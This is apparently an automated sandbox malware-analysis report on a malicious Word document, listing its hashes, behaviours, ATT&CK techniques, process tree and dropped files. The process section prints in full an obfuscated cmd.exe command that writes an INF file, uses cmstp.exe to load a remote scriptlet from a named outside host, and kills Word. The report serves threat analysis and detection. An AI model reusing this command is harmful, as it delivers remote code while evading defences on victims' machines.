a0111977c79f4eb30511f22055b54e4e973c0501240f3ba462691b1b4999d561

General

Target

49a64838968e596db7b80d5cbbe025c4_JaffaCakes118.doc
Size

117KB
MD5

49a64838968e596db7b80d5cbbe025c4
SHA1

5973a9faa1975f80540d7954d24b5936ab2b95d2
SHA256

a0111977c79f4eb30511f22055b54e4e973c0501240f3ba462691b1b4999d561
SHA512

3da1e625f6dd80d6a7f4ffe90be21d1d5b33c1ca85d0bd8a73d1831e629e6be407edf15456d10516ea279673aec2b71e0273a0909d9cc9e0798b40e21c7ec478
SSDEEP

1536:7mouQ4iFSxMT9BRAKg+6m1CEczGpdOWHMTo6jcpq:SQ4iFUMpBRAhqHGop

Score

10^/10

Malware Config

Signatures

Process spawned unexpected child process 1 IoCs

This typically indicates the parent process was compromised via an exploit or macro.

description	pid	pid_target	Process	procid_target
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	4376	4172	cmd.exe	91

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Checks processor information in registry 2 TTPs 3 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	WINWORD.EXE

Enumerates system info in registry 2 TTPs 3 IoCs

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemFamily	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU	WINWORD.EXE
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\BIOS	WINWORD.EXE

Kills process with taskkill 1 IoCs

evasion

pid	Process
3984	taskkill.exe

Suspicious behavior: AddClipboardFormatListener 2 IoCs

pid	Process
4664	WINWORD.EXE
4664	WINWORD.EXE

Suspicious behavior: LoadsDriver 10 IoCs

pid	Process
4	Process not Found
4	Process not Found
4	Process not Found
4	Process not Found
4	Process not Found
660	Process not Found
4	Process not Found
4	Process not Found
4	Process not Found
4	Process not Found

Suspicious use of AdjustPrivilegeToken 2 IoCs

description	pid	Process
Token: SeDebugPrivilege	3984	taskkill.exe
Token: SeTakeOwnershipPrivilege	4948	cmstp.exe

Suspicious use of FindShellTrayWindow 2 IoCs

pid	Process
4664	WINWORD.EXE
4664	WINWORD.EXE

Suspicious use of SetWindowsHookEx 7 IoCs

pid	Process
4664	WINWORD.EXE
4664	WINWORD.EXE
4664	WINWORD.EXE
4664	WINWORD.EXE
4664	WINWORD.EXE
4664	WINWORD.EXE
4664	WINWORD.EXE

Suspicious use of WriteProcessMemory 6 IoCs

description	pid	Process	procid_target
PID 4664 wrote to memory of 1712	4664	WINWORD.EXE	94
PID 4664 wrote to memory of 1712	4664	WINWORD.EXE	94
PID 4376 wrote to memory of 4948	4376	cmd.exe	107
PID 4376 wrote to memory of 4948	4376	cmd.exe	107
PID 4376 wrote to memory of 3984	4376	cmd.exe	108
PID 4376 wrote to memory of 3984	4376	cmd.exe	108

C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE
"C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\49a64838968e596db7b80d5cbbe025c4_JaffaCakes118.doc" /o ""
1⤵
- Checks processor information in registry
- Enumerates system info in registry
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of FindShellTrayWindow
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:4664
- C:\Windows\splwow64.exe
  C:\Windows\splwow64.exe 12288
  2⤵
  PID:1712

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=asset_store.mojom.AssetStoreService --lang=en-US --service-sandbox-type=asset_store_service --no-appcompat-clear --mojo-platform-channel-handle=3692 --field-trial-handle=2656,i,16940681401824032220,151921362336696246,262144 --variations-seed-version /prefetch:8
1⤵
PID:4988

C:\Windows\system32\cmd.exe
cmd /V /C set "let81=s" && !let81!et "let78=i" && !let81!et "let71=A" && !let81!et "let23=N" && !let81!et "let43=d" && c!let71!ll !let81!et "let28=%!let71!PP!let43!!let71!T!let71!%" && c!let71!ll !let81!et "let66=%R!let71!!let23!!let43!OM%" && !let81!et "let36=!let28!\M!let78!cro!let81!oft\!let66!.txt" && !let81!et "let67="^" && (For %i in ("[ver!let81!ion]" "!let81!ignature=$Wi!let23!dow!let81! NT$" "!let71!dvancedINF=2.5" "[DefaultIn!let81!tall_SingleU!let81!er]" "UnRegi!let81!terOCXs=let57" "[let57]" "%11%\%let73_1%%let73_2%%let73_3%,NI,%let21_1%%let21_2%%let21_3%%let21_4%%let21_5%%let21_6%%let21_7%%let21_8%%let21_9%%let21_10%%let21_11%%let21_12%%let21_13%" "[!let81!tring!let81!]" "let21_1=ht" "let21_2=tp" "let21_3=:/" "let21_4=/t" "let21_5=ra" "let21_6=ns" "let21_7=ef" "let21_8=.b" "let21_9=iz" "let21_10=/f" "let21_11=r." "let21_12=tx" "let21_13=t" "let73_2=rO" "let73_1=sC" "let73_3=bJ" ) do @echo %~i)>"!let36!" && echo !let81!erv!let78!ceName=!let67! !let67!>>!let36! && echo !let81!hortSvcN!let71!me=!let67! !let67!>>!let36! && c!let71!ll !let81!et "let93=%WI!let23!!let43!IR%" && !let81!t!let71!rt "" !let93!\Sy!let81!tem32\cm!let81!tp.exe /s /ns "!let36!" && !let81!t!let71!rt "" /M!let78!N t!let71!skk!let78!ll /F /!let78!M w!let78!nwor!let43!.exe
1⤵
- Process spawned unexpected child process
- Suspicious use of WriteProcessMemory
PID:4376
- C:\Windows\System32\cmstp.exe
  C:\Windows\System32\cmstp.exe /s /ns "C:\Users\Admin\AppData\Roaming\Microsoft\9598.txt"
  2⤵
  - Suspicious use of AdjustPrivilegeToken
  PID:4948
- C:\Windows\system32\taskkill.exe
  tAskkill /F /iM winword.exe
  2⤵
  - Kills process with taskkill
  - Suspicious use of AdjustPrivilegeToken
  PID:3984

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

2

T1012

System Information Discovery

3

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

C:\Users\Admin\AppData\Local\Microsoft\Windows\INetCache\Content.MSO\EF1D2B74.wmf

Filesize
176B

MD5
ae84943915024b9d6e6d14f9fca34eb7

SHA1
75ce8f36053ec703f93c117c3c717ab770e03464

SHA256
86758697760334c5d5c17986d803717b9fbc1fafe4b17d44e7b1698e5882d64a

SHA512
3864d056a7fd2970973d777b0735273407a40c96173239a6362ddcdff5e89857cc0749b99f5c1197b6081eb35c7ee56a9fcacc7f5524bffaeb63c53242fa2a99

Download Submit
C:\Users\Admin\AppData\Roaming\Microsoft\9598.txt

Filesize
514B

MD5
7f90b0c4f536defbd03f45e8537fd808

SHA1
25ecbc520887c090f6b7cc145d752e8b366a9f07

SHA256
1a671c60e8cf4ef7396ff571edca9355f9340ece00ecaa6084fb08bbf5a81e79

SHA512
08a5f00a4282fc9b1b37be76797d184c77f77f2a81fe665f23c564b8f12e4db5d96e7bafbf9aa75916954810b02e79df014eb9c949658e41b8f179a727acf4ed

Download Submit
memory/4664-8-0x00007FFC7F3B0000-0x00007FFC7F3C0000-memory.dmp

Filesize
64KB

Download
memory/4664-9-0x00007FFC7F3B0000-0x00007FFC7F3C0000-memory.dmp

Filesize
64KB

Download
memory/4664-4-0x00007FFC81410000-0x00007FFC81420000-memory.dmp

Filesize
64KB

Download
memory/4664-5-0x00007FFC81410000-0x00007FFC81420000-memory.dmp

Filesize
64KB

Download
memory/4664-6-0x00007FFCC1390000-0x00007FFCC1585000-memory.dmp

Filesize
2.0MB

Download
memory/4664-7-0x00007FFCC1390000-0x00007FFCC1585000-memory.dmp

Filesize
2.0MB

Download
memory/4664-0-0x00007FFC81410000-0x00007FFC81420000-memory.dmp

Filesize
64KB

Download
memory/4664-3-0x00007FFCC142D000-0x00007FFCC142E000-memory.dmp

Filesize
4KB

Download
memory/4664-1-0x00007FFC81410000-0x00007FFC81420000-memory.dmp

Filesize
64KB

Download
memory/4664-34-0x00007FFCC1390000-0x00007FFCC1585000-memory.dmp

Filesize
2.0MB

Download
memory/4664-35-0x00007FFCC1390000-0x00007FFCC1585000-memory.dmp

Filesize
2.0MB

Download
memory/4664-36-0x00007FFCC1390000-0x00007FFCC1585000-memory.dmp

Filesize
2.0MB

Download
memory/4664-2-0x00007FFC81410000-0x00007FFC81420000-memory.dmp

Filesize
64KB

Download
memory/4664-700-0x00007FFCC1390000-0x00007FFCC1585000-memory.dmp

Filesize
2.0MB

Download

Analysis

Sharing

General

Malware Config

Signatures

Processes

Network

MITRE ATT&CK Enterprise v15

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Downloads